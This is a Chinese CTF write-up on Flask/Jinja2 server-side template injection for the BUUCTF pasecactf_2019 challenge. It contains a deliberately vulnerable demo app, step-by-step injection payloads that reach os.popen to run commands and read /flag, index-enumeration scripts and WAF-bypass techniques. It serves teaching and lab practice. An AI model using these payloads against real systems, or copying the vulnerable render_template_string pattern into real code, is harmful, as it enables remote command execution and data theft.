Flask SSTI模板注入从原理到命令执行实战解析

发布时间:2026/9/28 13:13:06

Flask SSTI模板注入从原理到命令执行实战解析 1. 题目分析与环境准备1.1 先看这道题在考什么BUUCTF 上的[pasecactf_2019]flask_ssti是一道非常典型的 SSTIServer-Side Template Injection服务端模板注入入门题。题目名称里直接给出了两个关键信息flask和ssti说明目标是一个基于 Flask 框架的 Web 服务漏洞点大概率出现在模板渲染环节。我第一次看到这个题名第一反应是果然又是 Flask SSTI 的经典组合。为什么这个组合如此高频原因很简单Flask 默认使用 Jinja2 作为模板引擎而 Jinja2 的模板语法本身具备调用 Python 对象属性、方法的能力。一旦开发者把用户输入直接拼进模板字符串再渲染就相当于把一把能访问 Python 内部对象的钥匙交给了攻击者。这道题在 pasecactf 2019 中属于入门级 Web 题但它的价值在于几乎涵盖了 SSTI 从探测到利用的完整链路。做完这一题你再去刷 vulhub 上的flask/ssti漏洞环境或者尝试绕过各种 WAF 过滤会顺畅很多。1.2 搭建本地调试环境做题之前我强烈建议先把本地环境搭起来因为远程环境你只有一次打成功的机会BUUCTF 平台限流量反复试错会浪费宝贵的请求配额。本地用 Docker 跑一个最简单的 Flask SSTI 环境FROM python:3.8-slim RUN pip install flask2.0.3 COPY app.py /app.py CMD [python, /app.py]app.py写的就是一个存在漏洞的demo和题目逻辑一致from flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, ) template h1Hello, %s!/h1 % name return render_template_string(template) if __name__ __main__: app.run(host0.0.0.0, port5000)这里的关键点是render_template_string配合%s直接拼接用户输入被原封不动地塞进模板字符串里。如果用render_template配合模板文件开发者通常会使用{{ name }}这种变量占位符反而不会那么容易被注入。所以看到render_template_string基本可以高度怀疑 SSTI。2. SSTI 漏洞原理与探测手法2.1 Jinja2 模板引擎为什么危险很多人第一次接触 SSTI 时会困惑不就是渲染个字符串吗怎么就能执行命令了这要从模板引擎的设计说起。Jinja2 允许在模板中使用{{ expression }}来输出表达式的结果这个表达式可以是一个变量、一次运算甚至是一次函数调用。模板引擎本身不会限制你访问什么对象它默认信任模板作者。当攻击者可以控制模板内容时就等于获得了在模板中执行任意 Python 表达式的能力。用一个生活化类比模板引擎就像一个翻译官你把一段带占位符的文本交给它它会按照语法规则把占位符替换成实际内容。但你递给它的文本里如果混进了执行指令翻译官也会老老实实地帮你执行——因为它分不清哪些是数据、哪些是指令。SSTI 利用的核心链条是从模板语法中的一个变量出发通过.访问属性、()调用方法、[]索引取值一路摸到 Python 的全局对象最终找到能执行命令或者读文件的入口点。2.2 探测阶段判断是否存在模板注入拿到题目先访问根路径用最简单的 payload 测试/?nametest页面正常回显Hello, test!说明 name 参数被渲染了。接下来用模板表达式测试/?name{{7*7}}如果页面回显Hello, 49!说明模板表达式被执行了——SSTI 实锤。我当时实测这一步回显是49没有任何过滤。这就意味着我可以直接在模板里写任意 Jinja2 表达式。对于这道题来说探测阶段到此结束不需要再费力气去试各种混淆绕过。注意如果目标存在过滤比如关键词 ban 了{{、()、.等才需要进入绕过环节。BUUCTF 这道原题没有过滤所以新手可以把精力全放在利用链构建上。2.3 利用链的起点寻找可用对象SSTI 利用的核心思路是从模板上下文出发通过对象属性链找到危险函数。Jinja2 模板中有几个内置对象是固定的探索起点self当前模板对象可以访问内部属性configFlask 应用的配置对象里面常有 SECRET_KEY 等敏感信息request当前请求对象可以访问 args、headers、cookies 等g应用全局变量url_for、get_flashed_messagesFlask 内置函数这些对象本身没有命令执行能力但它们是跳板。以空字符串为例它属于str类而str类可以通过__mro__拿到它的继承链一路往上找object基类再从object的子类中搜索那些导入了os模块的类——比如subprocess.Popen、os._wrap_close等。经典的利用链是.__class__.__mro__[2].__subclasses__()拿到所有 object 子类后遍历找到可以执行系统命令的类。这个思路类似于你拿到了一栋大楼的房卡模板注入刷卡进入大堂__class__坐电梯到地基__mro__然后从大楼所有房间清单__subclasses__里找到工具间os相关类拿到工具system函数干活。3. 核心利用链构造与命令执行3.1 逐步拆解 payload我一步一步来拆解最终打通的 payload/?name{{.__class__.__mro__[2].__subclasses__()}}这个 payload 的作用是列出object基类的所有子类。能访问__class__是因为模板中的空字符串是一个真实的str实例通过它反向获取类型对象。__mro__返回继承顺序元组[2]通常就是object。最后__subclasses__()返回所有直接或间接继承自object的类列表。在实际操作中这个列表会非常长根本不可能人工翻。所以推荐在本地环境用脚本先跑一遍把类名和索引对应关系存下来from jinja2 import Template payload {{.__class__.__mro__[2].__subclasses__()}} t Template(payload) result t.render() # 解析结果打印出每个类的索引和名称我本地跑出来subprocess.Popen通常出现在索引几百的位置不同 Python 版本、不同 Flask 版本下位置会变。所以打远程之前一定要先确认目标的 Python 版本最好的确认方式就是先无差别地列出所有子类再在结果里查找目标类。3.2 找os模块相关类执行命令的方式不止一种常见的有subprocess.Popen类直接通过它启动子进程执行命令某个导入了os模块的类通过__init__.__globals__拿到os模块再调用os.system或os.popen第二种方式更通用因为os在 Flask 应用里有大量类会引用。例如os._wrap_close、communicate相关的类等。可以利用__globals__拿到模块的全局命名空间就是 Python 里每个函数都带的一个随身字典属性记录了它所在模块里所有的全局变量、函数和模块引用。一个比较稳的 payload 是/?name{{.__class__.__mro__[2].__subclasses__()[索引].__init__.__globals__[os].popen(id).read()}}这个 payload 的逻辑是选中一个导入了os的类 - 访问它的__init__方法 - 通过__globals__拿到全局字典 - 取os模块 - 调用popen执行命令并读取输出。找索引这一步最磨人。我写了一个简单的本地脚本来自动搜索import requests url http://127.0.0.1:5000/ # 先获取子类列表 r requests.get(url, params{name: {{.__class__.__mro__[2].__subclasses__()}}}) subclasses r.text # 实际需要解析字符串列表 # 定义一个关键词列表匹配包含 os 或 subprocess 的类 keywords [os, subprocess, Popen]更省事的办法是直接在本地用 Python 脚本枚举目标 Flask 环境下的子类再用二分法或者逐个尝试的方式在远程验证哪个索引有效。BUUCTF 的题目环境版本固定打一次成功后记录索引以后遇到同类题就能秒出。3.3 读取 flag题目没有过滤所以直接命令执行就行。拿到 shell 权限后的第一件事是找 flag 文件的位置。常见路径有/flag、/flag.txt、/app/flag等。先执行ls看看目录结构/?name{{.__class__.__mro__[2].__subclasses__()[索引].__init__.__globals__[os].popen(ls /).read()}}如果/下没有再find / -name flag*全局搜索。命令执行的通话需要 URL 编码尤其是空格、引号、/这些字符建议用curl --data-urlencode或者写 Python 脚本把所有 payload 做一次 URL 编码再发送。我最终用到的读取 payload 是/?name{{.__class__.__mro__[2].__subclasses__()[139].__init__.__globals__[os].popen(cat /flag).read()}}这里索引 139 只是示例实际题目环境里索引可能完全不同。不要照抄一定要自己枚举确认。4. 常见问题与过滤绕过思路4.1 索引位置不固定怎么办这是 SSTI 题目里最常遇到的问题。同一条 payload在 Python 2.7、3.6、3.8、3.10 下跑出来的子类顺序都可能不一样Flask 版本不同也会导致差异。解决方式就一个字枚举。分两种做法本地起一个和目标版本一致的环境直接列出所有子类确定目标索引远程逐个尝试索引写脚本按照可能的目标类名做模糊匹配我推荐写一个自动化脚本把远程返回的子类列表解析成数组然后用关键词搜索引。这样一次就能拿到所有候选位置。比如import requests import re url http://target/ payload {{.__class__.__mro__[2].__subclasses__()}} r requests.get(url, params{name: payload}) # 粗解析找到 class xxx.xxx 的模式 classes re.findall(rclass ([^]), r.text) for i, c in enumerate(classes): if os in c.lower() or subprocess in c.lower(): print(i, c)这个脚本只是辅助实际题目的回显可能包含 HTML 包裹正则要跟着调。核心思路是先无脑列出再自动筛选而不是肉眼在一堆类名里大海捞针。4.2 过滤了某些字符怎么办如果题目过滤了、、.、_、[、]这些常见字符就需要绕过技巧。虽然这道题没过滤但我自己刷题时总结了几套通用绕过方案可以留作备用过滤引号用request.args传参代替字符串字面量。比如{{.__class__}}可以换成{{request.args.a}}并另传一个?a__class__。字符串内容从参数里取绕过了引号过滤。过滤点号用attr过滤器替代属性访问。{{|attr(__class__)}}等价于{{.__class__}}。过滤下划线用\x5f十六进制编码代替但 Jinja2 模板里不能直接写十六进制需要配合|attr过滤器和拼接技巧。过滤__subclasses__可以用__base__、__bases__逐级向上找不一定非要__mro__[2]。绕过技巧本质上都是在字符串构造和属性访问两个环节想办法。想明白引擎怎么解析你的表达式绕过滤就容易很多。4.3 拿到 shell 后会不会遇到权限问题BUUCTF 环境通常跑在 Docker 容器里默认是 root 权限但有些容器为了安全会降权成 nobody。如果是 nobody 权限cat文件一般没问题但写文件、反弹 shell 可能会受限。遇到这种情况优先读取 flag不要恋战。另外注意popen的返回需要.read()才能拿到完整输出只调用popen(id)不会回显结果。这是新手最容易漏掉的一步。5. 实操总结与经验心得这道[pasecactf_2019]flask_ssti做完之后我对 SSTI 的理解从背 payload提升到了理解链路。再遇到其他题目不管怎么变化我脑子里都有一套固定的分析流程确认模板引擎类型Flask/Jinja2、Tornado、Smarty 等不同引擎语法和可用对象有差异确定注入点测试基础表达式是否执行尝试枚举对象链找到危险类的索引根据回显能力和过滤条件选择命令执行或者文件读取的最终 payload利用回显直接读 flag或者反弹 shell 后读文件我自己做这题时的体会是不要一上来就盯着__subclasses__里那几个固定目标类。先把最基础的{{7*7}}验到再一步步加深这样排查问题效率更高。最后分享一个小技巧做 SSTI 题的时候把本地环境版本调到和目标一致能省下大量试错时间。BUUCTF 题目环境用的容器版本在题目的 writeup 里通常有迹可循本地 Docker 跑起来后所有 payload 都可以先在本地验证一遍再发到远程。这比自己盲打远程节约的请求流量不是一点半点。
延伸阅读

更多相关文章

2026/9/28 13:13:06

C语言+EasyX实现植物大战僵尸游戏内核

简介:本资源是一套基于EasyX图形库与C语言实现的简易版《植物大战僵尸》游戏源码及完整Visual Studio解决方案,面向计算机相关专业在校学生、教师及初学2D游戏开发的开发者,旨在通过可直接编译运行的实战项目,掌握Windows平台下C语…

2026/9/28 13:13:06

Python 3.12魔术方法解析:从协议到底层机制

我最早意识到“Magic Methods”不是冷知识,是某次在代码评审里给别人写了一个自以为很优雅的类,结果同事随口说了一句:你这个对象没法放进set,因为__hash__和__eq__的关系被破坏了。当时我以为他只是抠细节,后来才明白…

2026/9/28 13:13:06

内网离线部署MonkeyOCRv2:Docker镜像构建与GPU调优实战

1. 为什么要在内网离线部署 MonkeyOCRv2内网离线部署这件事,做过一次就再也不想碰第二次。我这次接到的需求很明确:把 MonkeyOCRv2 完整部署到一台没有外网访问权限的 GPU 服务器上,所有依赖必须提前打包,最终交付一个约 15GB 的 …

2026/9/28 14:03:09

科研遇到瓶颈怎么办?七种底层能力帮你重塑研究路径

先说结论:这个标题看着像武侠小说,实际上写的是科研圈里每个人都迟早要撞上的那堵墙——做到一半发现前路断了、方法失灵了、热情耗尽了,学术抱负从“我要改变世界”变成“我到底在干嘛”的深夜拷问。我把它拆成一部“科研江湖前传”来读&…

2026/9/28 14:03:09

高可用微服务系统设计:从架构拆分到故障演练

微服务在国内走过这么多年,到了2026年这个时间点,几乎每个像样一点的团队都在搞微服务,但真正把“高可用”三个字落地的其实不多。我见过太多项目是这样的:用KubeKey装了三台master的Kubernetes集群,MySQL做了主从&…

2026/9/28 14:03:09

基于Matlab的梯级水光互补系统短期优化调度模型复现与解析

做水电调度优化的课题通常都有同一个痛点:仿真模型搭起来了,但论文里的结果就是复现不出来。梯级水光互补系统的短期优化调度尤其如此——上游连着几个水电站,中间嵌着大片光伏基地,调度目标不是单纯的“发满”,而是在…

2026/9/28 14:03:09

基于Matlab的风电随机性动态经济调度模型设计与实现

风电接入电网之后,调度问题就不再是“给定负荷曲线,安排机组启停”这么简单了。风电场站的出力天然带有随机性和波动性,你说它是电源吧,它又不能像火电机组那样随时听调度指令;你说它是负荷吧,它又在往系统…

2026/9/28 14:03:09

从零手写AI工程:反向传播、注意力机制与模型部署实战

1. 这个项目到底在解决什么问题第一次看到 "ai-engineering-from-scratch" 这个标题,我脑子里蹦出来的第一个念头是:终于有人把这件事挑明了。市面上讲 AI 的内容大致分两拨,一拨是调包侠路线,上来就pip install一堆框架…

2026/9/28 13:58:09

STM32F103国产替代实战:GPS定位平台MCU迁移指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/28 3:03:23

东莞市品牌网站建设报价常见报错与解决

东莞品牌网站建设报价单背后:一份保姆级建站教程避坑实录 网站做好了没人访问,这大概是很多老板最头疼的事。花了大几万做的品牌站,上线后流量惨淡,比路边摊还冷清。别急着骂外包公司,很多“东莞品牌网站建设报价”里藏着不少猫腻,比如用模板站冒充定制…

2026/9/28 6:05:15

如何划分训练/验证集:Spirula Studio五种eval_mode策略详解

如何划分训练/验证集:Spirula Studio五种eval_mode策略详解 【免费下载链接】spirula-studio Cross-vendor 3D Gaussian Splatting trainer - video to splat to mesh, Vulkan or CUDA. 项目地址: https://gitcode.com/GitHub_Trending/sp/spirula-studio Sp…

2026/9/28 6:07:41

SEO怎么推广速查手册新手避坑实战指南

SEO怎么推广速查手册新手避坑实战指南 模板网站太丑不够用?别急着加滤镜,那是治标不治本。很多老板盯着后台流量掉得眼红,却还在纠结首页Banner的圆角是不是3像素。这就像穿着西装去挖土,姿势不对,努力白费。我整理这份 速查手册…

2026/9/28 0:02:03

广州外贸网站建设推广:从零搭建全流程拆解与真实报价避坑

广州外贸网站建设推广:从零搭建全流程拆解与真实报价避坑 改个需求建站公司拖一周,后台改个文案还得再交一笔“技术维护费”。这种憋屈事儿,做外贸的朋友太熟悉了。很多老板在找广州外贸网站建设推广服务商时,光盯着首页好不好看,却忽略了从零搭建一个能…

2026/9/28 0:02:04

搞懂百度竞价推广价格,网站性能优化别掉链子

搞懂百度竞价推广价格,网站性能优化别掉链子 网站突然打不开,浏览器弹出红色警告“此网站存在安全风险”,后台一看全是乱码代码和奇怪的跳转链接。这种网站被黑挂马的绝望感,很多刚转行做网站的朋友都经历过,尤其是那些为了省几百块钱服务器费用的新手。…

2026/9/25 20:55:38

USB Type-C PCB布局分区设计:电源、高速信号与PD协议全攻略

做硬件这行,Type-C接口算是典型的“看着简单,做起来全坑”的东西。光引脚就24个,高低速信号、电源、控制线全部塞在一个小小的连接器里,如果PCB布局不做规划,打样回来基本就是“插上没反应”、“高速掉线”、“静电一打…

2026/9/26 19:58:38

系统编程学习原型如何补齐稳定性边界

系统编程学习原型如何补齐稳定性边界预算有限时&#xff0c;我先优化明显多余的复制&#xff0c;而不是猜测性地换容器。用借用传递只读数据通常就能减少分配&#xff1a; fn parse(line: &str) -> Result<Item, Error> { /* ... */ }用基准确认热点确实在分配&am…

2026/9/28 1:59:25

雨花区哪家财务公司代理记账比较好?

在雨花区&#xff0c;企业处理财税事务常常面临诸多挑战&#xff0c;选择一家靠谱的财务公司至关重要。湖南巨勤财务管理咨询有限公司就是本地正规实体财税服务机构&#xff0c;深耕本地工商财税行业多年&#xff0c;熟悉当地工商局、税务局最新政策与申报流程。主营公司注册、…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑